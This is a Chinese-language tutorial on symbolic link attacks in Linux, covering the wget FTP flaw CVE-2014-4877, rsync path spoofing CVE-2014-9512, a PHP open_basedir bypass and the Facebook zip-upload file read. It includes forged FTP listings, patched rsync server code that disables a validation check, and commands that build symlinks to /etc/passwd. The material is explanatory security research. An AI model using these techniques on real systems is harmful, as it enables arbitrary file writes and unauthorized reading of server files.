# linux symbolic link attack tutorial
0×00 前言
=======
* * *
Linux作为应用最广泛的开源系统，其中独特的文件系统可以算是支撑Linux强大功能 的核心组件之一，而在文件系统中，符号链接(symbolic link )形如”月光宝盒”般可以穿 梭时空，自由穿越森严的路径限制，此一特性，使其地位在整个Linux系统中占有重要 一席，本文将通过实际分析与研究，深入探讨因对符号链接处理不当，可能造成的各类 安全问题，以引发对此类问题的重视。
0×01 客户端
========
* * *
客户端递归处理文件时,通过符号链接穿越可造成任意文件写入,代码执行。
案例:
1. Wget ftp symbolic link attack (CVE-2014-4877)
————————————————
* * *
wget 递归下载ftp站点时,如 wget -m ftp://127.0.0.1,在服务端伪造如下数据
“`
lrwxrwxrwx 1 root root 33 Oct 11 2013 fakedir -> /tmp
drwxrwxr-x 15 root root 4096 Oct 11 2013 fakedir
“`
会在本地建立一个名称为fakedir的symbolic link ,指向/tmp 目录,当wget 发送 cwd 指令递归进入fakedir 在发送 LIST 指令。此时可以伪造一个恶意文件或者
目录比如:
“`
-rwx—— 1 root root 21 Aug 29 2013 pwned
“`
RETR 指令下载pwned 文件时,返回文件内容(二进制或者文本)。即可欺骗wget 客户端任意目录写入。
具体利用脚本: https://github.com/yaseng/pentest/blob/master/exploit/wget-symlink_attack_exploit.py
漏洞演示:
“`
Server(attacker) wget-symlink_attack_exploit.py
Client(victim) wget -m ftp://127.0.0.1
“`
2:Rsync path spoofing attack vulnerability(CVE-2014-9512 )
———————————————————-
* * *
笔者分析wget漏洞之后,发现rsync递归同步文件时,同样可以用符号链接来 欺骗路径,由于rsync双向文件处理算法比较复杂,无法直接用字符串伪造文件流。 首先rsync共享文件夹新建symbolic link 指向/root/,
“`
[root@pentest rsync]# ls -lh
total 8.0K
-rw-r–r– 1 root root 2 Oct 31 03:16 1.txt
lrwxrwxrwx 1 root root 6 Oct 31 05:09 fakedir -> /root/
drwxr-xr-x 2 root root 4.0K Oct 31 05:08 truedir
“`
truedir 中写入测试文件
“`
[root@pentest rsync]# cd truedir/
[root@pentest truedir]# ls
[root@pentest truedir]# echo rsync test > pwned
[root@pentest truedir]# ls -lh
total 4.0K
-rw-r–r– 1 root root 11 Oct 31 05:17 pwned
[root@pentest truedir]#
“`
再修改服务端发送文件列表的代码
“`
file: rsync-3.1.1/flist.c line:394
static void send_file_entry(int f, const char *fname, struct file_struct *file,
#ifdef SUPPORT_LINKS
const char *symlink_name, int symlink_len,
#endif
int ndx, int first_ndx)
{
if(strcmp(fname,”turedir/pwned”) == 0){
fname=”fakedir/pwned”; // symbolic link
//change file true path(truedir) to symbolic link (fakedir)
)
}
“`
由于服务端有严格的数据校验,此时会报错 “received request to transfer non-regular file fakedir/pwned.test 7 [sender]”,导致客户端同步无法执行 但是对于攻击者来说,服务端是可控的,找到对应代码直接注释。
“`
/* if (iflags & ITEM_TRANSFER) {
int i = ndx – cur_flist->ndx_start;
if (i < 0 || !S_ISREG(cur_flist->files[i]->mode)) {
rprintf(FERROR,
“received request to transfer non-regular file: %d [%s]\n”,
ndx, who_am_i());
exit_cleanup(RERR_PROTOCOL);
}
}
*/
“`
漏洞演示:
client(victim):
0×02 web 程序
===========
* * *
当通过http访问文件时,web server 对符号链接处理不当可能导致越权访问,文件 读取等安全隐患。
案例:
1. php 通用绕过 open_basedir 读取任意文件
——————————-
* * *
使用函数symlink 与 mkdir 创建一个指向目标的符号链接,代码如下
“`
“`
生成文件
“`
drwxr-xr-x 4 www www 512 Oct 20 00:37 abc
lrwxr-xr-x 1 www www 27 Oct 20 00:37 exploit -> tmplink/../../../etc/passwd
– -rw-r–r– 1 www www 356 Oct 20 00:32 kakao.php
– -rw-r–r– 1 www www 45 Oct 20 00:26 sym.php
drwxr-xr-x 2 www www 512 Oct 20 00:37 tmplink
“`
exploit 已经指向/etc/passwd,通过web server 如Apache 直接静态访问,可以绕过php open_basedir 保护读取文件。
2. facebook 本地文件读取
——————
* * *
当服务端会自动解压zip,tar 等支持符号链接的压缩格式时。可以通过符号链接读取服务器文件 例如facebook 本地文件读取
“`
1. 创建一个符号链接文件指向/etc/passwd
ln -s /etc/passwd link
2. 压缩文件，同时保留链接
zip –symlinks test.zip link
3. 上传test.zip文件，系统会自动解压缩
4. 页面当中会返回/etc/passwd的内容
“`
如图
0×03 参考链接
=========
* * *
1:CVE-2014-4877 wget ftp下载文件夹链接欺骗漏洞分析 http://xteam.baidu.com/?p=30
2:Rsync path spoofing attack vulnerability http://xteam.baidu.com/?p=169
3:Php open_basedir bypass http://cxsecurity.com/issue/WLB-2009110068
4:Reading local files from Facebook’s server http://josipfranjkovic.blogspot.com/2014/12/reading-local-files-from-facebooks.html
请登录后查看评论内容